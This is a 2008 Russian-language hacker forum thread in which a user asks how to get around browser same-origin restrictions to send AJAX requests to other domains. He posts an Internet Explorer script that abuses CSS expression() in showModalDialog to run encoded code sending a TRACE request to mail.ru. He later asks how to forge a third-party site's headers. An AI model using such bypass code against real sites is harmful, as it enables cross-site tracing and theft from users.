Обход ограничений безопасности Ajax

Discussion in 'Песочница' started by BestOFtheBest, 31 Jul 2008.

  1. BestOFtheBest

    BestOFtheBest Member

    Joined:
    19 Dec 2007
    Messages:
    4
    Likes Received:
    5
    Reputations:
    5
    Подскажите пожалуста, каким образом можно отправить AJAX запрос на сторонний URL. Я нашел вариант для Internet Explorer:
    Code:
    <script>
    function xssDomainRequest(){
    var exampleCode = "var xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');xmlHttp.open('TRACE','http://mail.ru',false);xmlHttp.send();xmlDoc=xmlHttp.responseText;alert(xmlDoc);";
    cExampleCode = encodeURIComponent(exampleCode + ';top.close()');
    var readyCode = 'font-size:expression(execScript(decodeURIComponent("' + cExampleCode + '")))';
    showModalDialog('http://www.mail.ru',null,readyCode);}
    </script>
    
    Все вроде логично, но IE выдает ошибку, недопустимый аргумент, походу он не пропускает expression в showModalDialog. Что делать???:)
     
  2. Don1=2

    Don1=2 Member

    Joined:
    10 Sep 2007
    Messages:
    0
    Likes Received:
    51
    Reputations:
    -19
    на сторонний сайт нельзя ajax.
     
  3. BestOFtheBest

    BestOFtheBest Member

    Joined:
    19 Dec 2007
    Messages:
    4
    Likes Received:
    5
    Reputations:
    5
    Не ужели еще ничего не придумали на эту тему??
     
  4. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Как раз на эту тему писал:
    http://raz0r.name/articles/html-js-vzaimodejstvie-s-udalennym-serverom/
     
    1 person likes this.
  5. BestOFtheBest

    BestOFtheBest Member

    Joined:
    19 Dec 2007
    Messages:
    4
    Likes Received:
    5
    Reputations:
    5
    Тоесть, как я понял, до выхода IE8 с поддержкой XDomainRequest выполнить запрос, типо trace, не получится, так?
     
  6. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    почему же только IE, в FireFox 3 уже есть поддержка междоменных вызовов посредством AJAX
     
  7. BestOFtheBest

    BestOFtheBest Member

    Joined:
    19 Dec 2007
    Messages:
    4
    Likes Received:
    5
    Reputations:
    5
    Firefox3 - это гуд, я уже даже разобрался, че да как. А уязвимость в IE с showModalDialog походу прикрыли((
     
  8. BestOFtheBest

    BestOFtheBest Member

    Joined:
    19 Dec 2007
    Messages:
    4
    Likes Received:
    5
    Reputations:
    5
    Не, с ним тоже трабл, при попытке сделать запрос на другой домен, он его не грузит, а в консоли ошибок пишет, что ошибка системы безопасности, содержимое "мой адрес" не имеет права загружать данные с "запрашиваемый адрес".
     
  9. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    ты точно разобрался? Скрипт, которому ты отправляешь запрос, должен возвращать специальный заголовок.
     
  10. BestOFtheBest

    BestOFtheBest Member

    Joined:
    19 Dec 2007
    Messages:
    4
    Likes Received:
    5
    Reputations:
    5
    Спасибо, все работает. Теперь думаю, каким бы образом фальсифицировать заголок стороннего сайта. Есть идеи на этот счет?